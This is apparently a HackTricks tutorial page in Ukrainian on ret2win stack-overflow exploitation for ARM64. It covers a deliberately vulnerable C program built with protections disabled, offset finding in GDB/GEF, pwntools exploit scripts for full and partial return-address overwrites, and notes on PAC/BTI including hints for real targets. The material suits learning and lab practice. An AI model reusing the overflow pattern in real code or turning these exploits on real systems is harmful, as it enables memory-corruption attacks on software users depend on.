Ret2win - arm64
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Вступ до arm64 можна знайти в:
Код
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Скомпілюйте без pie та canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Додатковий прапорець
-mbranch-protection=none
вимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це забезпечує відтворюваність лабораторії. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, ви можете: - Шукати AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Переглянути прологі/епілогі на наявність
paciasp
/autiasp
(PAC) або посадочних ділянокbti c
(BTI): objdump -d ret2win | head -n 40
Короткі факти про AArch64 calling convention
- Регістр зв'язку —
x30
(такожlr
), і функції зазвичай зберігаютьx29
/x30
за допомогоюstp x29, x30, [sp, #-16]!
та відновлюють їх черезldp x29, x30, [sp], #16; ret
. - Це означає, що збережена адреса повернення знаходиться за
sp+8
відносно бази фрейму. Якщоchar buffer[64]
розташований нижче, звичайна відстань перезапису до збереженогоx30
становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме це ми знайдемо нижче. - Вказівник стеку має залишатися вирівняним по 16 байтах на межах функцій. Якщо ви пізніше будете будувати ROP chains для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати крах під час епілогів функцій.
Знаходження офсету
Варіант pattern
Цей приклад створено з використанням GEF:
Запустіть gdb з gef, створіть pattern та використайте його:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 спробує повернутися до адреси у регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти pattern offset:
pattern search $x30
.png)
Значення offset — 72 (9x48).
Stack offset option
Почніть з отримання адреси stack, де зберігається pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Тепер встановіть breakpoint після read()
, продовжте виконання (continue) до виклику read()
і встановіть шаблон, наприклад 13371337:
b *vulnerable_function+28
c
.png)
Знайдіть, де цей шаблон зберігається в пам'яті:
.png)
Тоді: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
Без PIE
Звичайний
Отримайте адресу функції win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Насправді це буде скоріше off-by-2 у збереженому PC у stack. Замість того, щоб перезаписати всю return address, ми перезапишемо лише останні 2 байти значення 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Ви можете знайти ще один приклад off-by-one для ARM64 за адресою https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, який є реальним off-by-one у вигаданій вразливості.
З PIE
tip
Скомпілюйте бінарний файл без аргументу -no-pie
Off-by-2
Без leak ми не знаємо точної адреси win function, але можемо знати offset функції від binary і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, у цьому випадку можливо leak офсет до win function (0x7d4) і просто використати цей offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Примітки щодо сучасного зміцнення AArch64 (PAC/BTI) та ret2win
- Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити
paciasp
/autiasp
абоbti c
, які вставляються в прологах/епілогах функцій. У такому випадку: - Повернення за адресою, що не є дійсним BTI landing pad, може викликати
SIGILL
. Краще орієнтуватися на точний початок функції, що міститьbti c
. - Якщо PAC увімкнено для повернень, наївне перезаписування адреси повернення може не спрацювати, бо епілог автентифікує
x30
. Для навчальних сценаріїв перебудуйте з-mbranch-protection=none
(вказано вище). При атаках на реальні цілі віддавайте перевагу non‑return hijacks (e.g., function pointer overwrites) або створюйте ROP, який ніколи не виконує паруautiasp
/ret
, що автентифікує ваш підроблений LR. - Щоб швидко перевірити можливості:
readelf --notes -W ./ret2win
і шукайте приміткиAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
.objdump -d ./ret2win | head -n 40
і дивіться наbti c
,paciasp
,autiasp
.
Running on non‑ARM64 hosts (qemu‑user quick tip)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Пов'язані сторінки HackTricks
Ret2syscall - ARM64
Джерела
- Увімкнення PAC і BTI на AArch64 для Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Стандарт виклику процедур для 64-розрядної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.